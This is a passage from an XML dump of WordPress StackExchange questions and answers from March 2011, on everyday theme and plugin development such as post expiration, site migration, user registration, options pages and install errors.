LastEditDate="2011-03-18T21:38:21.130" LastActivityDate="2011-03-18T21:38:21.130" ClosedDate="2011-07-25T08:58:20.320" Title="Listing Parent, Child and GrandChild Categories and then the Post Titles !" Tags="&lt;categories&gt;&lt;loop&gt;&lt;page-template&gt;&lt;list&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="12069" PostTypeId="2" ParentId="10793" CreationDate="2011-03-15T01:08:07.663" Score="1" ViewCount="" Body="&lt;p&gt;I got it working using the Post Expirator plugin, which also had the same problem, but by adding the following code to each loop right after 'the_post();' it checks the posts status on each page load, it is a temporary solution which seems to work for the moment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// check to see whether post has expired&#xA;$expiration = get_post_meta($post-&amp;gt;ID, &quot;expiration-date&quot;, true);&#xA;if ($expiration &amp;amp;&amp;amp; (time() &amp;gt; $expiration)) {&#xA;    $postSettings = array(&#xA;        'post_status' =&amp;gt; 'draft'&#xA;    );&#xA;&#xA;    wp_update_post($postSettings);&#xA;} else {&#xA;// normal content goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-03-15T01:08:07.663" />
  <row Id="12070" PostTypeId="2" ParentId="12061" CreationDate="2011-03-15T01:51:03.713" Score="2" ViewCount="" Body="&lt;p&gt;Replace the last row of code from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $content.'&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;ID).'&quot;&amp;gt;Read More...&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T01:51:03.713" CommentCount="2" />
  <row Id="12071" PostTypeId="1" AcceptedAnswerId="12075" CreationDate="2011-03-15T01:57:53.737" Score="1" ViewCount="230" Body="&lt;p&gt;I am thinking, how might I setup a development server locally then when done, upload and sync files + data to test/production server? I think options like &lt;code&gt;siteurl&lt;/code&gt; and &lt;code&gt;home&lt;/code&gt; in &lt;code&gt;wp_options&lt;/code&gt; database table will need to be changed, also, in &lt;code&gt;wp-config.php&lt;/code&gt; some settings like database connection and debug mode will be different too.&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-03-15T04:55:52.203" Title="How might I setup a development server (local) and a test/production server (remote)" Tags="&lt;server&gt;&lt;development&gt;" AnswerCount="1" />
  <row Id="12072" PostTypeId="1" AcceptedAnswerId="12216" CreationDate="2011-03-15T02:40:49.097" Score="0" ViewCount="84" Body="&lt;p&gt;Im creating a simple login/registration page incorporating user moderation and bootstrapping wp for the heavy lifting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the new user added to the db and a password gets created and hashed and all, but when i go to login w/ that account the password won't work.  i'm stumped...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone see anything i'm missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( ABSPATH . WPINC . '/registration.php' );&#xA;$user_pass = wp_generate_password();&#xA;$userdata = array(&#xA;  'user_pass' =&amp;gt; $user_pass,&#xA;  'user_login' =&amp;gt; esc_attr( $_POST['user_email'] ),&#xA;  'user_email' =&amp;gt; esc_attr( $_POST['user_email'] ),&#xA;);&#xA;&#xA;if( !$userdata['user_login'] )&#xA;  $error .= __('An Email Address is required for registration.', 'frontendprofile');&#xA;elseif ( username_exists( $userdata['user_login'] ) )&#xA;  $error .= __('Sorry, that Email Address is already in use for another account.', 'frontendprofile');&#xA;elseif ( !is_email( $userdata['user_email'] ) )&#xA;  $error .= __('You must enter a valid Email Address.', 'frontendprofile');&#xA;elseif ( email_exists( $userdata['user_email'] ) )&#xA;  $error .= __('Sorry, that Email Address is already for another account.', 'frontendprofile');&#xA;&#xA;else{&#xA;  $new_user = wp_update_user( $userdata );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks in advance,&lt;/p&gt;&#xA;" OwnerUserId="3491" LastActivityDate="2011-03-16T14:07:14.453" Title="wp_generate_password sets password but can't login using created password" Tags="&lt;users&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="12073" PostTypeId="2" ParentId="10493" CreationDate="2011-03-15T02:54:09.923" Score="0" ViewCount="" Body="&lt;p&gt;In addition to making sure &lt;code&gt;footer.php&lt;/code&gt; contains &lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&lt;/code&gt;, I had a situation where, when designing a custom theme, the bar disappeared. After undoing some of my code changes and not getting joy, I ended up doublechecking that the checkboxes for the bar were checked under &quot;Profile,&quot; and then I had to log out and then log back in to get it to reappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was with stock version 3.1 and an in-development theme.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2011-03-15T02:54:09.923" />
  <row Id="12074" PostTypeId="1" CreationDate="2011-03-15T04:24:24.293" Score="0" ViewCount="200" Body="&lt;p&gt;I have a few taxonomies and it would be nice to be able to sort by two at time with a permalink. For example, I have two taxonomies, design-show-year and designer-or-firm. I'd like to have this permalink to get a listing of all these that match:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/design-show-year/2011/designer-or-firm/pete-klein/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible using the WordPress system by doing a rewrite and piping that into index.php, or can WordPress only handle one taxonomy at a time?&lt;/p&gt;&#xA;" OwnerUserId="3905" LastActivityDate="2011-08-15T05:24:35.083" Title="Multiple taxonomies on same permalink rule" Tags="&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="12075" PostTypeId="2" ParentId="12071" CreationDate="2011-03-15T04:50:45.283" Score="0" ViewCount="" Body="&lt;p&gt;It's quite difficult to keep data from a dev version in sync with data on the production site. But for an initial deployment, you are correct that it requires changes to wp-config.php and the database.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install Wordpress on your dev machine, e.g. dev.example.com/blog/&lt;/li&gt;&#xA;&lt;li&gt;Install Wordpress on your production machine, preferably with the &lt;em&gt;same folder structure&lt;/em&gt; as the dev box, e.g. www.example.com/wordpress/&lt;/li&gt;&#xA;&lt;li&gt;note: your wp-config.php settings will be different on production. That's fine, just maintain a safe copy of the file and do not overwrite.&lt;/li&gt;&#xA;&lt;li&gt;Sync the /wp-content/ directory from dev to production (themes, plugins, etc)&lt;/li&gt;&#xA;&lt;li&gt;Using PHPMyAdmin or similar, export the contents of your dev database to a text file&lt;/li&gt;&#xA;&lt;li&gt;In the text file, replace any instances of the dev url with the production url (dev.example.com/wordpress/ =&gt; www.example.com/wordpress/). This will change the siteurl as well as any links to images in the posts&lt;/li&gt;&#xA;&lt;li&gt;Using PHPMyAdmin or similar, import the contents of your dev database to the production database&lt;/li&gt;&#xA;&lt;li&gt;Try accessing the Wordpress admin module in the production server - you should be good to go.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This technique works for me, but I'd love to hear of any cleaner migration techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: There are a number of techniques discussed in the following post, including a plugin that handles the db grunt work:&lt;br/&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2275" LastEditorUserId="2275" LastEditorDisplayName="" LastEditDate="2011-03-15T04:55:52.203" LastActivityDate="2011-03-15T04:55:52.203" />
  <row Id="12077" PostTypeId="1" CreationDate="2011-03-14T03:02:10.243" Score="0" ViewCount="149" Body="&lt;p&gt;I'm trying to run a fresh install on my server with WP 3.1. Problem is I'm getting errors after setting up the config. (attached image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed the previous versions of WP before and have had no trouble.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nction weblog_ping($server = '', $path = '') { global $wp_version; include_once(ABSPATH . WPINC . '/class-IXR.php'); include_once(ABSPATH . WPINC . '/class-wp-http-ixr-client.php'); // using a timeout of 3 seconds should be enough to cover slow servers $client = new WP_HTTP_IXR_Client($server, ((!strlen(trim($path)) || ('/' == $path)) ? false : $path)); $client-&amp;gt;timeout = 3; $client-&amp;gt;useragent .= ' -- WordPress/'.$wp_version; // when set to true, this outputs debug messages by itself $client-&amp;gt;debug = false; $home = trailingslashit( home_url() ); if ( !$client-&amp;gt;query('weblogUpdates.extendedPing', get_option('blogname'), $home, get_bloginfo('rss2_url') ) ) // then try a normal ping $client-&amp;gt;query('weblogUpdates.ping', get_option('blogname'), $home); } // // Cache // /** * Removes comment ID from the comment cache. * * @since 2.3.0 * @package WordPress * @subpackage Cache * * @param int|array $ids Comment ID or array of comment IDs to remove from cache */ function clean_comment_cache($ids) { foreach ( (array) $ids as $id ) wp_cache_delete($id, 'comment'); wp_cache_set('last_changed', time(), 'comment'); } /** * Updates the comment cache of given comments. * * Will add the comments in $comments to the cache. If comment ID already exists * in the comment cache then it will not be updated. The comment is added to the * cache using the comment group with the key using the ID of the comments. * * @since 2.3.0 * @package WordPress * @subpackage Cache * * @param array $comments Array of comment row objects */ function update_comment_cache($comments) { foreach ( (array) $comments as $comment ) wp_cache_add($comment-&amp;gt;comment_ID, $comment, 'comment'); } // // Internal // /** * Close comments on old posts on the fly, without any extra DB queries. Hooked to the_posts. * * @access private * @since 2.7.0 * * @param object $posts Post data object. * @return object */ function _close_comments_for_old_posts( $posts ) { if ( empty($posts) || !is_singular() || !get_option('close_comments_for_old_posts') ) return $posts; $days_old = (int) get_option('close_comments_days_old'); if ( !$days_old ) return $posts; if ( time() - strtotime( $posts[0]-&amp;gt;post_date_gmt ) &amp;gt; ( $days_old * 24 * 60 * 60 ) ) { $posts[0]-&amp;gt;comment_status = 'closed'; $posts[0]-&amp;gt;ping_status = 'closed'; } return $posts; } /** * Close comments on an old post. Hooked to comments_open and pings_open. * * @access private * @since 2.7.0 * * @param bool $open Comments open or closed * @param int $post_id Post ID * @return bool $open */ function _close_comments_for_old_post( $open, $post_id ) { if ( ! $open ) return $open; if ( !get_option('close_comments_for_old_posts') ) return $open; $days_old = (int) get_option('close_comments_days_old'); if ( !$days_old ) return $open; $post = get_post($post_id); if ( time() - strtotime( $post-&amp;gt;post_date_gmt ) &amp;gt; ( $days_old * 24 * 60 * 60 ) ) return false; return $open; } ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Warning: call_user_func_array() [function.call-user-func-array]: First argumented is expected to be a valid callback, 'sanitize_comment_cookies' was given in /nfs/c05/h01/mnt/71351/domains/kasildenim.com/html/test/dev/wp-includes/plugin.php on line 395&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Cannot modify header information - headers already sent by (output started at /wp-includes/comment.php:9) in wp-admin/install.php on line 54&lt;/p&gt;&#xA;" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-15T07:50:11.747" LastActivityDate="2011-05-14T08:50:37.293" Title="WordPress 3.1 Install Error" Tags="&lt;installation&gt;" AnswerCount="1" />
  <row Id="12078" PostTypeId="1" AcceptedAnswerId="12226" CreationDate="2011-03-15T07:11:31.437" Score="0" ViewCount="381" Body="&lt;p&gt;I created theme options page using Settings API, everything works fine but I can't save options. I tried to figure it out where I missed something but I failed. Any idea what can cause this problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's code of my options page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * This functions registers default options values for Evolutionary theme &#xA; * settings&#xA; */&#xA;function ev_theme_settings_defaults() {&#xA;    $options = array(&#xA;        'color_scheme' =&amp;gt; 'blue',&#xA;        'copyright' =&amp;gt; '',&#xA;        'nav_hide_home' =&amp;gt; false,&#xA;        'nav_hide_sec' =&amp;gt; false,&#xA;        'nav_show_lvl' =&amp;gt; false,&#xA;        'featured_show' =&amp;gt; false,&#xA;        'featured_pause' =&amp;gt; false,&#xA;        'featured_speed' =&amp;gt; 5,&#xA;        'ad1_link' =&amp;gt; '',&#xA;        'ad1_image' =&amp;gt; '',&#xA;        'ad2_link' =&amp;gt; '',&#xA;        'ad2_image' =&amp;gt; '',&#xA;        'ad3_link' =&amp;gt; '',&#xA;        'ad3_image' =&amp;gt; '',&#xA;        'ad4_link' =&amp;gt; '',&#xA;        'ad4_image' =&amp;gt; ''&#xA;    );&#xA;&#xA;    return $options;&#xA;    // Change to apply_filters( 'ev_theme_settings_defaults', $options );&#xA;}&#xA;&#xA;/**&#xA; * Create helper function for theme colors&#xA; */&#xA;function ev_get_valid_color_schemes(){&#xA;    $color_schemes = array(&#xA;        'blue' =&amp;gt; __( 'Blue', 'evolutionary' ),&#xA;        'green' =&amp;gt; __( 'Green', 'evolutionary' ),&#xA;        'red' =&amp;gt; __( 'Red', 'evolutionary' ),&#xA;        'black' =&amp;gt; __( 'Black', 'evolutionary')&#xA;    );&#xA;&#xA;    return $color_schemes;    &#xA;} &#xA;&#xA;/**&#xA; * Setup initial theme options&#xA; */&#xA;function ev_options_init() {&#xA;    // Set options equal to defaults&#xA;    global $ev_options;&#xA;    $ev_options = ev_theme_settings_defaults();&#xA;    if ( false === $ev_options ) {&#xA;        $ev_options = ev_theme_settings_defaults();&#xA;    }&#xA;    update_option( 'theme_evolutionary_options', $ev_options );&#xA;}&#xA;&#xA;add_action( 'after_setup_theme', 'ev_options_init', 9 );&#xA;&#xA;/**&#xA; * Add theme options page to admin menu&#xA; */&#xA;function ev_menu_options() {&#xA;    add_theme_page( __( 'Theme Options', 'evolutionary' ), __( 'Theme Options', 'evolutionary' ), 'edit_theme_options', 'evolutionary-settings', 'ev_admin_options_page' );&#xA;}&#xA;&#xA;add_action( 'admin_menu', 'ev_menu_options' );&#xA;&#xA;/**&#xA; * Register theme options&#xA; */&#xA;function ev_register_options() {&#xA;    register_setting( 'theme_evolutionary_options', 'theme_evolutionary_options', 'ev_options_validate' );&#xA;&#xA;/**&#xA; * Defining settings sections and fields&#xA; * fist setting creates sections for general options&#xA; */&#xA;add_settings_section( 'ev_settings_general_options', __( 'General Options', 'evolutionary' ), 'ev_settings_general_options', 'evolutionary' );&#xA;&#xA;// Creates section for navigation options&#xA;add_settings_section( 'ev_settings_nav_options', __( 'Navigation', 'evolutionary' ), 'ev_settings_nav_options', 'evolutionary' );&#xA;&#xA;// Section for featured post options&#xA;add_settings_section( 'ev_settings_featured_options', __( 'Featured Posts', 'evolutionary' ), 'ev_settings_featured_options', 'evolutionary' );&#xA;&#xA;// Section for Advertising options&#xA;add_settings_section( 'ev_settings_ad_options', __( 'Advertising', 'evolutionary' ), 'ev_settings_ad_options', 'evolutionary' );&#xA;&#xA;/**&#xA; * Created empty callbacks for setions&#xA; */&#xA;function ev_settings_general_options() {&#xA;    // Put callback code here&#xA;}&#xA;function ev_settings_nav_options() {&#xA;    // callback&#xA;}&#xA;function ev_settings_featured_options() {&#xA;    // callback&#xA;}&#xA;function ev_settings_ad_options() {&#xA;    // callback&#xA;}&#xA;&#xA;/**&#xA; * Registered fields&#xA; */&#xA;add_settings_field( 'ev_settings_copyright_field', __( 'Copyright Name', 'evolutionary' ), 'ev_settings_copyright_field', 'evolutionary', 'ev_settings_general_options' );&#xA;&#xA;add_settings_field( 'ev_settings_colors_field', __( 'Theme Color', 'evolutionary' ), 'ev_settings_colors_field', 'evolutionary', 'ev_settings_general_options' );&#xA;&#xA;/**&#xA; * Fields Callbacks&#xA; */&#xA;function ev_settings_copyright_field() {&#xA;    $ev_options = get_option( 'theme_evolutionary_options' );&#xA;    //var_dump( $ev_options );&#xA;    ?&amp;gt;&#xA;    &amp;lt;input name=&quot;theme_evolutionary_options[copyright]&quot; type=&quot;text&quot; class=&quot;regular-text&quot; value=&quot;&amp;lt;?php esc_attr_e( $ev_options['copyright'] ); ?&amp;gt;&quot;  /&amp;gt;&#xA;&amp;lt;?php }&#xA;// Callback for colorscheme&#xA;function ev_settings_colors_field() {&#xA;    $ev_options = get_option( 'theme_evolutionary_options' );&#xA;    $color_schemes = ev_get_valid_color_schemes();&#xA;&#xA;    echo '&amp;lt;select name=&quot;theme_evolutionary_options[color_scheme]&quot;&amp;gt;';&#xA;&#xA;    foreach( $color_schemes as $value =&amp;gt; $caption ) :&#xA;?&amp;gt;&#xA;        &amp;lt;option value=&quot;&amp;lt;?php echo $value; ?&amp;gt;&quot; &amp;lt;?php selected( $value, $ev_options['color_scheme'] ); ?&amp;gt;&amp;gt;&amp;lt;?php echo $caption; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;    endforeach;&#xA;&#xA;    echo '&amp;lt;/select&amp;gt;';&#xA;}&#xA;&#xA;} // ev_register_options&#xA;add_action( 'admin_init', 'ev_register_options' );    &#xA;&#xA;/**&#xA; * Creating options page HTML output&#xA; */&#xA;function ev_admin_options_page() { ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;       &amp;lt;?php if ( isset( $_GET['settings-updated'] ) ) {&#xA;                echo &quot;&amp;lt;div class='updated'&amp;gt;&amp;lt;p&amp;gt;Theme settings updated successfully.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;        } ?&amp;gt;&#xA;        &amp;lt;?php screen_icon(); ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php _e( 'Theme Options', 'evolutionary' ); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;?php &#xA;        settings_fields( 'theme_evolutionary_options' );&#xA;        do_settings_sections( 'evolutionary' );&#xA;        ?&amp;gt;&#xA;&#xA;            &amp;lt;input name=&quot;submit&quot; type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e( 'Save Settings', 'evolutionary' ) ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;input name=&quot;reset&quot; type=&quot;submit&quot; class=&quot;button-secondary&quot; value=&quot;&amp;lt;?php _e( 'Reset Settings', 'evolutionary' ) ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;function ev_options_validate( $input ) {&#xA;    $ev_options = get_option( 'theme_evolutionary_options' );&#xA;    $valid_input = $ev_options;&#xA;&#xA;    $ev_options['color_scheme'] = array_key_exists( $ev_options['color_scheme'], ev_get_valid_color_schemes() ) ? $ev_options['color_scheme'] : 'blue';&#xA;    $ev_options['copytright'] = wp_kses_data( $ev_options['copyright'] );&#xA;&#xA;    return $valid_input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-03-31T19:41:15.373" Title="Can't save options" Tags="&lt;options&gt;&lt;settings&gt;&lt;theme-options&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" />
  <row Id="12079" PostTypeId="2" ParentId="12077" CreationDate="2011-03-15T07:51:44.993" Score="1" ViewCount="" Body="&lt;p&gt;It looks like one of the files is incomplete. Try copying all files over again.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-15T07:51:44.993" />
  <row Id="12080" PostTypeId="2" ParentId="11842" CreationDate="2011-03-15T08:47:12.223" Score="0" ViewCount="" Body="&lt;p&gt;Here's the code that finally worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;global $events_meta_termine;&#xA;$today = getdate();&#xA;$my_query = new WP_Query('post_type=events&amp;amp;posts_per_page=-1&amp;amp;monthnum='.$today[&quot;mon&quot;]);&#xA;$events=array();&#xA;while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;    $do_not_duplicate = $post-&amp;gt;ID;&#xA;    $meta = get_post_meta(get_the_ID(), $events_meta_termine-&amp;gt;get_the_id(), TRUE);&#xA;    foreach ($meta['termin_group'] as $termin)&#xA;    { &#xA;        $event=array();&#xA;        $event['title']=get_the_title();&#xA;        $event['date']=$termin['termin_date'];&#xA;        $event['time']=$termin['termin_time'];&#xA;        $event['location']=$termin['termin_location'];&#xA;        $events[]=$event;&#xA;    } &#xA;endwhile; &#xA;wp_reset_query();&#xA;&#xA;$i=0;&#xA;usort($events, &quot;cmp&quot;); &#xA;function cmp($a, $b){ &#xA;return strcmp($a['date'],$b['date']); &#xA;} ?&amp;gt;&#xA;&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;?php $current_month='';&#xA; foreach ($events as $event){   &#xA;     if ($current_month!=mysql2date('F Y', $event['date'], true))&#xA;     {&#xA;         $current_month=mysql2date('F Y', $event['date'], true);&#xA;         echo '&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;5&quot;&amp;gt;'.$current_month.'&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;     } ?&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo $event['title']; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo mysql2date('D', $event['date'], true); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo mysql2date('j. F Y', $event['date'], true); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo $event['time']; ?&amp;gt; Uhr&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo $event['location']; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3480" LastActivityDate="2011-03-15T08:47:12.223" />
  <row Id="12081" PostTypeId="1" AcceptedAnswerId="12084" CreationDate="2011-03-15T09:14:21.083" Score="0" ViewCount="91" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin&quot; rel=&quot;nofollow&quot;&gt;this library&lt;/a&gt; to auto-update my plugin, but it's only extracting the new plugin files into a .tmp directory, while the old plugin files stay where they are. Can anybody help me fix this to overwrite the old files or any ideas as to why it would be doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I know that the library above does not actually install the update, but the WP core updater does, so it has something to do with that. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-03-15T09:29:35.360" LastActivityDate="2011-03-15T10:39:53.660" Title="Auto-Update Plugin Creating .tmp directory, not overwriting old version" Tags="&lt;plugin-development&gt;&lt;auto-update&gt;" AnswerCount="1" />
  <row Id="12082" PostTypeId="1" AcceptedAnswerId="12096" CreationDate="2011-03-15T10:16:07.040" Score="0" ViewCount="339" Body="&lt;p&gt;This is a bit of a specific question--I have found bits and pieces of information on the net, but nothing that puts the whole picture together for me. Hopefully I can get some help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: I am a newbie to Wordpress. I'm using it as the CMS for a t-shirt shop I'm working on. My 't-shirts' custom post type is set up, but I want to create a 'T-shirts' page that will display all my available t-shirts in a gallery style.&lt;br&gt;&#xA;I really don't want to use an e-commerce plug-in because I want a bit more control over how my 'T-shirts' page looks and functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem(s):&lt;br&gt;&#xA;1. I need a code that will output the grid layout automatically. Each new 't-shirt' post should occupy the top left grid space. With each new 't-shirt' added, the old ones should automatically shift right to the next space.&lt;br&gt;&#xA;If it helps, the rest of my site uses a 16 column 960px grid--ideally each grid space will be 220px wide (4 columns).&lt;br&gt;&#xA;2. I have set up the featured image in my 't-shirt' posts as a thumbnail preview, so I'd like the gallery to display JUST the featured image with the title beneath.&lt;br&gt;&#xA;3. I want the gallery to begin paginating after about 12 posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the little I know about Wordpress, I think I'll need to use some loop functions but I have no clue which ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone here can help shed some light on this for me.&lt;/p&gt;&#xA;" OwnerUserId="3949" LastActivityDate="2011-03-15T12:55:29.893" Title="Displaying custom post types as a gallery" Tags="&lt;custom-post-types&gt;&lt;css&gt;&lt;coding&gt;&lt;e-commerce&gt;" AnswerCount="1" />
  <row Id="12083" PostTypeId="2" ParentId="10027" CreationDate="2011-03-15T10:23:03.277" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://odotteeaux.com/blog/2011/02/14/timthumb-php-fix-for-wordpress-mu/&quot; rel=&quot;nofollow&quot;&gt;http://odotteeaux.com/blog/2011/02/14/timthumb-php-fix-for-wordpress-mu/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.binarymoon.co.uk/2009/10/timthumb-wordpress-mu/&quot; rel=&quot;nofollow&quot;&gt;http://www.binarymoon.co.uk/2009/10/timthumb-wordpress-mu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will solve your problem IA&lt;/p&gt;&#xA;" OwnerUserId="3950" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-14T16:21:23.990" LastActivityDate="2011-04-14T16:21:23.990" />
  <row Id="12084" PostTypeId="2" ParentId="12081" CreationDate="2011-03-15T10:39:53.660" Score="1" ViewCount="" Body="&lt;p&gt;Are you able to update standard WP repo plugins? I am using that library and it seems to work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the exact error that WordPress gives on the admin screen when it tries to run the update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would take a look at permissions first. What are the permissions on the old plugin directory? Any different than any of your other plugin directories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also take a look at the format of the zip file you're feeding it. What software did you use to create the zip? When you unzip it, what does the directory structure look like? It should unzip as a folder with the same name as the plugin you're trying to replace. Did you set the slug attribute in the JSON file? Does that also match the folder name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. I was able to get that library going pretty quickly.&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-15T10:39:53.660" CommentCount="1" />
  <row Id="12085" PostTypeId="1" AcceptedAnswerId="12098" CreationDate="2011-03-15T10:53:56.400" Score="0" ViewCount="85" Body="&lt;p&gt;I have NoSpamMX plugin installed. I was not getting spam comments for a long time. But now I am getting a lot of spam comments especially in one post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reason that there is such a lot of spams only to that post?&lt;/p&gt;&#xA;" OwnerUserId="1789" LastActivityDate="2011-03-15T12:34:10.287" Title="How to prevent spam comments?" Tags="&lt;plugins&gt;&lt;comments&gt;" AnswerCount="2" />
  <row Id="12086" PostTypeId="1" AcceptedAnswerId="12102" CreationDate="2011-03-15T11:04:18.620" Score="0" ViewCount="202" Body="&lt;p&gt;Fiddling around with a custom post type which is quite heavy modified.&#xA;Started doing some testing to see if I had broken some function, and realized that wordpress doesn't have a function that checks if a post has any content at all. Meaning, if I press &quot;Add new&quot; and just press publish, it won't say a word just save the information in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it's not visible in the admin area, just in the database. An entry with the title Auto Draft and post status auto-draft is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't the worlds biggest problem, but still I want to avoid to be creating unnecessary entries in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wonder how I would go about to create some sort of function that checks if any data has been entered in the editor, and if it's blank it'll prompt the user to enter data before saving/publishing the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The publish meta looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;if ( !in_array( $post-&amp;gt;post_status, array('publish', 'future', 'private') ) || 0 == $post-&amp;gt;ID ) {?&amp;gt; &#xA;    &amp;lt;input name=&quot;original_publish&quot; type=&quot;hidden&quot; id=&quot;original_publish&quot; value=&quot;&amp;lt;?php esc_attr_e('Publish') ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php submit_button( __( 'Create' ), 'primary', 'publish', false, array( 'tabindex' =&amp;gt; '5', 'accesskey' =&amp;gt; 'p' ) );&#xA;} else { ?&amp;gt;&#xA;    &amp;lt;input name=&quot;original_publish&quot; type=&quot;hidden&quot; id=&quot;original_publish&quot; value=&quot;&amp;lt;?php esc_attr_e('Save') ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;input name=&quot;save&quot; type=&quot;submit&quot; class=&quot;button-primary&quot; id=&quot;publish&quot; tabindex=&quot;5&quot; accesskey=&quot;p&quot; value=&quot;&amp;lt;?php esc_attr_e('Save') ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-04-14T15:45:02.690" Title="Stop wordpress from creating empty/null entries" Tags="&lt;posts&gt;&lt;publish&gt;" AnswerCount="2" />
